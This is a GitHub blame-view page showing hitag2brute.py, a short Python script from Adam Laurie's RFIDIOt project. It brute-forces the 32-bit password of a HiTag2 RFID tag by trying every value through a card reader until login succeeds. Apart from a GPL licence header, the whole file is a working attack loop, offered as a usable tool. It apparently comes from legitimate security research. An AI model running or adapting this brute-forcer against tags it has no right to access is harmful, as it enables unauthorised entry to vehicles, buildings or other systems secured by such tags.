Skip to content
Newer
Older
100755 70 lines (57 sloc) 1.53 KB
447c384 first commit
Adam Laurie authored Oct 31, 2011
1 #!/usr/bin/python
2
3
4 # hitag2brute.py - Brute Force hitag2 password
5 #
6 # Adam Laurie <adam@algroup.co.uk>
7 # http://rfidiot.org/
8 #
9 # This code is copyright (c) Adam Laurie, 2008, All rights reserved.
10 # For non-commercial use only, the following terms apply - for all other
11 # uses, please contact the author:
12 #
13 # This code is free software; you can redistribute it and/or modify
14 # it under the terms of the GNU General Public License as published by
15 # the Free Software Foundation; either version 2 of the License, or
16 # (at your option) any later version.
17 #
18 # This code is distributed in the hope that it will be useful,
19 # but WITHOUT ANY WARRANTY; without even the implied warranty of
20 # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
21 # GNU General Public License for more details.
22 #
23
24
271cf40 @AdamLaurie more package changes - be sure to read INSTALL for small but importan…
authored Oct 4, 2012
25 import rfidiot
447c384 first commit
Adam Laurie authored Oct 31, 2011
26 import sys
27 import os
28 import time
29
30 try:
271cf40 @AdamLaurie more package changes - be sure to read INSTALL for small but importan…
authored Oct 4, 2012
31 card= rfidiot.card
447c384 first commit
Adam Laurie authored Oct 31, 2011
32 except:
271cf40 @AdamLaurie more package changes - be sure to read INSTALL for small but importan…
authored Oct 4, 2012
33 print "Couldn't open reader!"
447c384 first commit
Adam Laurie authored Oct 31, 2011
34 os._exit(True)
35
271cf40 @AdamLaurie more package changes - be sure to read INSTALL for small but importan…
authored Oct 4, 2012
36 args= rfidiot.args
447c384 first commit
Adam Laurie authored Oct 31, 2011
37
271cf40 @AdamLaurie more package changes - be sure to read INSTALL for small but importan…
authored Oct 4, 2012
38 card.info('hitag2brute v0.1c')
447c384 first commit
Adam Laurie authored Oct 31, 2011
39
40 pwd= 0x00
41
42 # start at specified PWD
43 if len(args) == 1:
44 pwd= int(args[0],16)
45
46 card.settagtype(card.ALL)
47
48 if card.select():
49 print 'Bruteforcing tag:', card.uid
50 else:
51 print 'No tag found!'
52 os._exit(True)
53
54 while 42:
55 PWD= '%08X' % pwd
56 if card.h2login(PWD):
57 print 'Password is %s' % PWD
58 os._exit(False)
59 else:
60 if not pwd % 16:
61 print PWD + ' \r',
62 if not card.select():
63 print 'No tag found! Last try: %s\r' % PWD,
64 else:
65 pwd= pwd + 1
66 sys.stdout.flush()
67 if pwd == 0xffffffff:
68 os._exit(True)
69 os._exit(False)
Something went wrong with that request. Please try again.